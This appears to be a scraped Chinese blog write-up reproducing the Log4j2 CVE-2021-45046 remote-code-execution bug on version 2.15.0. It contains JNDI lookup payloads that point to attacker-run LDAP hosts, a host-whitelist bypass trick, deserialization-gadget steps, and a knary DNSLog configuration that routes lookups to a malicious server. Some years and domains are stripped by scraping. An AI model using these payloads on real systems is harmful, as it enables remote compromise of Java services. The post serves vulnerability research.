700字范文,内容丰富有趣,生活中的好帮手!
700字范文 > Log4j2 CVE--45046 鸡肋RCE漏洞复现与浅析

Log4j2 CVE--45046 鸡肋RCE漏洞复现与浅析

时间:2020-12-30 18:39:07

相关推荐

Log4j2 CVE--45046 鸡肋RCE漏洞复现与浅析

文章目录

0x00 前言0x01 CVE--45046 相关动态0x02 漏洞浅析与复现可触发lookup功能的其它方式绕过Host白名单限制+反序列化Gadget在本地环境实现RCE使用knary快速创建dnslog服务解决.UnknownHostException最终实现RCE0x03 在Linux上不能复现的问题0x04 小结参考

0x00 前言

自从上上周四(12月9日晚)关于Log4j2的Log4Shell(CVE--44228)漏洞被披露后引发了安全圈地震,笔者就立刻对该漏洞进行复现和分析,并持续跟踪这个漏洞后续的资讯动态。本想上周五整理成文发篇分析文章作为自己的学习记录,但文章没写多少,笔者的目光又被转移了…

因为自从这个漏洞披露后,目光聚焦在Log4j2的安全研究人员大幅增多,导致后续又有几个关于log4j2的CVE披露,包括拒绝服务的,还有一个RCE的,但条件都比较苛刻。尽管如此,其中可能导致RCE的CVE--45046 还是引起了我的兴趣。笔者也花了些时间去分析和复现,虽然漏洞利用存在前置条件,但在复现的过程中,确实学到了东西,还是很有意思的,故以此文作为记录。

至于Log4Shell的分析,后面慢慢完成了再发出来,作为学习记录。毕竟已经很多人、厂商发过了,也不着急。

0x01 CVE--45046 相关动态

漏洞影响版本:All versions from 2.0-beta9 to 2.15.0, excluding 2.12.2

关于CVE--45046这个洞,刚披露的时候只是说在某些特定条件下可导致拒绝服务,CVSS评分也只有3.7,后来经过安全人员的研究,在某些特定条件下,还可以RCE。官方也将该漏洞的CVSS评分改为了9.0。国内一些厂商也跟进发了预警。(参考[1][2][3][4])

0x02 漏洞浅析与复现

对于CVE--44228漏洞在2.15.0版本上的修复有了解过的同学就会知道,在2.15.0版本中:

1、 默认是不开启Lookup功能,即log42.formatMsgNoLookups默认为true。另外,从2.15.0版本开始,已无法再通过设置该选项为false来开启Lookup功能,只能通过在配置文件中指定%m{lookups}来开启。

这一点,在2.15.0的代码注释中可以看到:

2、 在CVE--44228漏洞的sink处,也就是JndiManager#lookup()方法中,进行了以下安全校验:

(1)allowedProtocols:只允许协议javaldapldaps;(2)allowedHosts:只允许主机为本机IP127.0.0.1localhost等。(3)allowedClasses:LDAP服务器的返回包中javaClassName只允许为基本数据类型的类,比如java.lang.Booleanjava.lang.Bytejava.lang.Short等等。(其实这个限制意义不大,后面会说)。(3) 不能加载远程ObjectFactory类。

这里就不贴代码了,有兴趣可以翻阅2.15.0版本JndiManager#lookup()方法的代码。

既然如此,想要在2.15.0版本上实现RCE,就必须得解决或绕过上面的两大点限制。

可触发lookup功能的其它方式

前几天,pwntester 在推上给出了在log4j2中通过配置文件(log4j2.ymllog4j2.xmllog4j.properties) 配置Pattern Layout的方式去触发Lookup功能的一些示例代码。这其实是Log4j2提供的功能,详细可参考官方文档(参考[5][6])

这里以Context Map Lookup为例进行说明。

Context Map Lookup允许应用程序将数据存储在Log4j2的线程上下文集合中,当调用logger.error("xxx")方法时便会在读取log4j2配置文件时从线程上下文集合中检索需要的值。

编写log4j2.xml配置文件内容如下:

<?xml version="1.0" encoding="UTF-8"?><Configuration status="WARN"><Appenders><Console name="Console" target="SYSTEM_OUT"><PatternLayout pattern="%d %p %c{1.} [%t] ${ctx:loginId} %m%n"/></Console></Appenders><Loggers><Root level="error"><AppenderRef ref="Console"/></Root></Loggers></Configuration>

既然能触发Lookup功能了,那么如果存入Context Map中的值如果是来自外部的输入,就存在被RCE攻击的风险。比如往Context Map中存入用于jndi查询的字串:${jndi:ldap://:8085/a},则在检索的时候便会触发JNDI Lookup。

绕过Host白名单限制+反序列化Gadget在本地环境实现RCE

前面提到了在2.15.0版本的JndiManager#lookup()方法增加的安全校验:

(1) 协议白名单:javaldapldaps

(2) 主机白名单:本机IP127.0.0.1localhost等。(3)javaClassName白名单比如java.lang.Booleanjava.lang.Bytejava.lang.Short等等。(3) 不能加载远程ObjectFactory类。

因此,我们只能使用ldap协议进行JNDI注入。

至于主机白名单,这里使用Java的一个trick进行绕过,如下:

ldap://127.0.0.1#

URI#getHost()方法遇到这样的url时,会取#前面,协议://后面的部分作为url的Host.

至于javaClassName这个属性,这个属性的值是从LDAP服务器返回的数据里取的,而且这个属性的值对于后续的漏洞利用毫无影响,只要修改一下LDAP服务端的代码,将该值的属性改为满足log4j2中要求的值即可。

还有最后一个限制,不允许加载远程ObjectFactory类,代码如下:

如上图代码所示,既然不允许加载远程ObjectFactory类,那我们就修改LDAP服务器,让其返回序列化数据,这样,代码还是会走到最后的this.context.lookup()。另外,我之前的文章JNDI注入利用原理及绕过高版本JDK限制 详细说到了JNDI注入绕过高版本JDK限制的其中一种方式,就是让LDAP服务返回恶意的Java序列化数据,在目标服务JNDI lookup的过程中,如果目标环境classpath中包含了可利用的反序列化Gadget,便可实现 RCE。

所以这里实现RCE的另一个条件就是目标环境中存在可被利用的Java反序列化Gadget。

这里为了测试,我在目标环境中添加了commons-beanutils:1.9.4,目的就是为了利用ysoserial中CommonsBeanutils1这条反序列化Gadget。

<dependency><groupId>commons-beanutils</groupId><artifactId>commons-beanutils</artifactId><version>1.9.4</version></dependency>

至于LDAP服务的修改,因为在之前的文章JNDI注入利用原理及绕过高版本JDK限制 中提到,已经在LDAPRefServer类的基础上,新建类LDAPRefServer_BypassHighJDK添加了返回反序列化数据的功能。所以这里直接复制该类,并命名为:LDAPRefServer_Log4j2BypassHighJDK,并将要返回给客户端的javaClassName的值指定为java.lang.String

到此,所有的准备工作都完成了,貌似只欠东风了。用marshalsec开启LDAP服务,用以下代码测试:

String poc = "${jndi:ldap://127.0.0.1#:8085/a}";ThreadContext.put("loginId", poc);logger.error("foo");

测试发现报异常.UnknownHostException,报错部分信息如下:looking up JNDI resource [ldap://127.0.0.1#:8085/a]. municationException: 127.0.0.1#:8085 [Root exception is .UnknownHostException: 127.0.0.1#]

从报错信息可知,在向LDAP查询的时候,当然会先对URL里的域名进行解析,但这里会将127.0.0.1#看作一个域名并对其进行解析,但这个是一个不存在的域名,结果也就可想而知。

那如果只是为了在本地测试成功,即我的LDAP服务是在本地的,要怎么做呢?答案就是使用互联网上的DNSLog平台的子域名 ,比如国内的hxxp://,获取随机一个子域名,在对其子域名如,甚至包括像127.0.0.1#bypass.的形式进行dns请求时,回显的IP永远是127.0.0.1。如下图所示:

所以我们就可以利用这一点,将PoC改为:${jndi:ldap://127.0.0.1#:8085/a},其中8085端口是本地的LDAP服务端口。这样,在本地环境就能复现RCE了:

使用knary快速创建dnslog服务解决.UnknownHostException最终实现RCE

为什么要讲本地环境的呢?毕竟一般而言,攻击者的LDAP服务都是在公网上的。确实如此。前面说本地环境,只是为了阐述一下解决问题的思路。既然公共的DNSLog平台能在捕获DNS日志的同时指定返回一个固定的IP。那我们是否可以自己创建一个DNSLog平台,并指定返回一个公网服务器IP,且服务器上部署了我们的恶意LDAP服务器?答案是肯定的。

笔者使用了国外安全友人@marcioalm 推荐的一个开源的,开箱即用的,可配置的,可用作DNSLog的程序knary。

因为之前没有自己搭建过DNSLog平台,所以过程中还是遇到了些DNS相关的问题。不过在不断试错和查阅资料后,还是成功搞定了。

笔者仅使用一个公网IP1.1.1.1一个域名xxxx.xyz去搭建。

首先,我在ClouDNS上购买了个最便宜的域名xxxx.xyz(用免费的也是可以的)。并设置A记录和NS记录如下:

如上图,前面三条(1条A记录和两条NS记录)为了能通过互联网正常解析域名xxxx.xyz

然后,我将dns.xxxx.xyz作为我的DNSLog平台主机的域名。其NS记录为ns1.xxxx.xyz表示用ns1.xxxx.xyz这个Name Server来解析dns.xxxx.xyz这个域名。然后创建A记录ns1.xxxx.xyz <-> 1.1.1.1,让ns1.xxxx.xyz映射到公网IP1.1.1.1。这两条配置是为了让公网的1.1.1.1的DNSLog服务去处理域名dns.xxxx.xyz及其子域的DNS请求。(注:DNSLog服务,其实也是一种DNS服务,默认开放的也是UDP的53端口)

域名配置好后,接着就是在服务器1.1.1.1上配置knary,以下是我的配置:

DNS=trueHTTP=trueBIND_ADDR=0.0.0.0CANARY_DOMAIN=dns.xxxx.xyzLARK_WEBHOOK=/open-apis/bot/v2/hook/<access_token>EXT_IP=1.1.1.1DEBUG=true

CANARY_DOMAIN指定为你要记录DNS日志的域名;DNSHTTPtrue,表示会记录对*.dns.xxxx.xyz域名的DNS请求和HTTP请求;*_WEBHOOK:knary支持多个webhook服务。这里我配置为飞书的。简单点说,就是配置这个后,可以将对*.dns.xxxx.xyz域名的DNS请求和HTTP请求记录,通过飞书bot机器人推送给你。EXT_IP:这个很关键,当对*.dns.xxxx.xyz域名或其子域发送DNS请求时,应答给请求方的IP地址。这里当然就是配置为我的公网IP1.1.1.1DEBUGtrue表示启用调试,这会在控制台打印一些调试信息。

一切就绪后,启动knary服务。

现在,在自己电脑ping一下127.0.0.1#`whoami`.dns.xxxx.xyz

发现成功解析,并回复了IP是我们的公网IP1.1.1.1。同时,DNS请求记录也通过飞书推送给我了,使用knary自建DNSLog平台成功。

现在可以测试RCE了。在1.1.1.1服务器上,使用marshalsec启动可返回恶意序列化数据的LDAP服务:

payload改为:

${jndi:ldap://127.0.0.1#bypasss.dns.xxxx.xyz:8085/a}

成功实现RCE。

0x03 在Linux上不能复现的问题

笔者的目标环境是macOS。看到推上有国外有人说在linux上没有复现成功,说是linux不支持对127.0.0.1#这样的域名发起请求。笔者在Ubuntu和CentOS上试了一下,发现确实如此。不过后来@marcioalm 放出了一个在某个Linux发行版上复现成功的说明。

不过笔者也没兴趣继续深挖了。毕竟这个洞相对CVE--44228比较鸡肋。况且笔者对该漏洞发分析文章进行记录,主要是对其中的绕过原理和复现所涉及的知识点感兴趣。

0x04 小结

该漏洞相对CVE--44228比较鸡肋,存在以下前提条件,但绕过原理和复现所涉及的知识点挺有意思的。

1、配置文件的模板里的参数,可以通过外部输入去控制。pwntester公开了一些lookup查询的配置样例(参考[4])2、目标环境需要存在反序列化利用链。3、利用的时候,需要创建你的dnslog平台,使得对127.0.0.1#dnslog.evilhost这样的域名发起DNS请求时,能返回LDAP服务器的IP地址。

参考

[1] https://mp./s/iXP6hYGg891y8N3ZtXsQbg

[2] /log4j/2.x/security.html

[3] https://mp./s/roNtIXECg0LkgjFn-3Uwpg

[4] /pwntester/status/1471511483422961669

[5] /log4j/2.x/manual/lookups.html#ContextMapLookup

[6] /log4j/2.x/manual/configuration.html#AutomaticReconfiguration

[7] /sudosammy/knary

[8] /article-11414.htm

本内容不代表本网观点和政治立场,如有侵犯你的权益请联系我们处理。
网友评论
网友评论仅供其表达个人看法,并不表明网站立场。